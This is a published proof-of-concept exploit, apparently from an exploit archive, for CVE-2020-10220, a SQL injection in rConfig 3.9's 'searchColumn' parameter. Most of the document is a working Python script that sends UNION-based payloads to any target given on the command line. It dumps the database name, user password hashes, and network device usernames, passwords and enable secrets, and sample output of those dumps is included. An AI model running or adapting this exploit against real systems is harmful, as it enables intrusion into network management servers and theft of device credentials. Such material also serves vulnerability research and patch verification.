rConfig 3.9 SQL Injection

`# Exploit Title: rConfig 3.9 - 'searchColumn' SQL Injection  
# Exploit Author: vikingfr  
# Date: 2020-03-03  
# CVE-2020-10220  
# Exploit link : https://github.com/v1k1ngfr/exploits-rconfig/blob/master/rconfig_CVE-2020-10220.py  
# Vendor Homepage: https://rconfig.com/ (see also : https://github.com/rconfig/rconfig)  
# Software Link : https://www.rconfig.com/downloads/rconfig-3.9.4.zip  
# Install scripts :   
# https://www.rconfig.com/downloads/scripts/install_rConfig.sh  
# https://www.rconfig.com/downloads/scripts/centos7_install.sh  
# https://www.rconfig.com/downloads/scripts/centos6_install.sh  
# Version: tested v3.9.4  
# Tested on: Apache/2.4.6 (CentOS 7.7) OpenSSL/1.0.2k-fips PHP/7.2.24  
#  
# Notes : If you want to reproduce in your lab environment follow those links :  
# http://help.rconfig.com/gettingstarted/installation  
# then  
# http://help.rconfig.com/gettingstarted/postinstall  
#  
# $ python3 rconfig_sqli.py https://1.1.1.1  
# rconfig 3.9 - SQL Injection PoC  
# [+] Triggering the payloads on https://1.1.1.1/commands.inc.php  
# [+] Extracting the current DB name :  
# rconfig2  
# [+] Extracting 10 first users :  
# admin:1:63a9f0ea7bb98050796b649e85481845  
# Maybe no more information ?  
# Maybe no more information ?  
# [snip]  
# [+] Extracting 10 first devices :  
# 127-0-0-1:127.0.0.1::ocdvulnpass:  
# deviceTestName:1.1.1.1:myusertest:mysecret:myenablesecret  
# Maybe no more information ?  
# Maybe no more information ?  
# [snip]  
# Done  
  
  
#!/usr/bin/python3  
import requests  
import sys  
import urllib.parse  
from requests.packages.urllib3.exceptions import InsecureRequestWarning  
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)  
  
print ("rconfig 3.9 - SQL Injection PoC")  
if len(sys.argv) != 2:  
print ("[+] Usage : ./rconfig_exploit.py https://target")  
exit()  
  
vuln_page="/commands.inc.php"  
vuln_parameters="?searchOption=contains&searchField=vuln&search=search&searchColumn=command"  
given_target = sys.argv[1]  
target = given_target  
target += vuln_page  
target += vuln_parameters  
  
request = requests.session()  
dashboard_request = request.get(target+vuln_page, allow_redirects=False, verify=False)  
  
  
def extractDBinfos(myTarget=None,myPayload=None):  
"""  
Extract information from database  
Args:  
- target+payload (String)  
Returns:  
- payload result (String)  
"""  
result = ""  
encoded_request = myTarget+myPayload  
exploit_req = request.get(encoded_request)  
if '[PWN]' in str(exploit_req.content):  
result = str(exploit_req.content).split('[PWN]')[1]  
else:  
result="Maybe no more information ?"  
  
return result  
  
  
if dashboard_request.status_code != 404:  
print ("[+] Triggering the payloads on "+given_target+vuln_page)  
# get the db name  
print ("[+] Extracting the current DB name :")  
db_payload = "%20UNION%20ALL%20SELECT%20(SELECT%20CONCAT(0x223E3C42523E5B50574E5D,database(),0x5B50574E5D3C42523E)%20limit%200,1),NULL--"  
db_name = extractDBinfos(target,db_payload)  
print (db_name)  
# DB extract users  
print ("[+] Extracting 10 first users :")  
for i in range (0, 10):  
user1_payload="%20UNION%20ALL%20SELECT%20(SELECT%20CONCAT(0x223E3C42523E5B50574E5D,username,0x3A,id,0x3A,password,0x5B50574E5D3C42523E)%20FROM%20"+db_name+".users+limit+"+str(i)+","+str(i+1)+"),NULL--"  
user_h = extractDBinfos(target,user1_payload)  
#print ("[+] Dump device "+str(i))  
print (user_h)  
# DB extract devices information  
print ("[+] Extracting 10 first devices :")  
for i in range (0, 10):  
device_payload="%20UNION%20ALL%20SELECT%20(SELECT%20CONCAT(0x223E3C42523E5B50574E5D,deviceName,0x3A,deviceIpAddr,0x3A,deviceUsername,0x3A,devicePassword,0x3A,deviceEnablePassword,0x5B50574E5D3C42523E)%20FROM%20"+db_name+".nodes+limit+"+str(i)+","+str(i+1)+"),NULL--"  
device_h = extractDBinfos(target,device_payload)  
#print ("[+] Dump device "+str(i))  
print (device_h)  
  
print ("Done")  
  
else:  
print ("[-] Please verify the URI")  
exit()  
`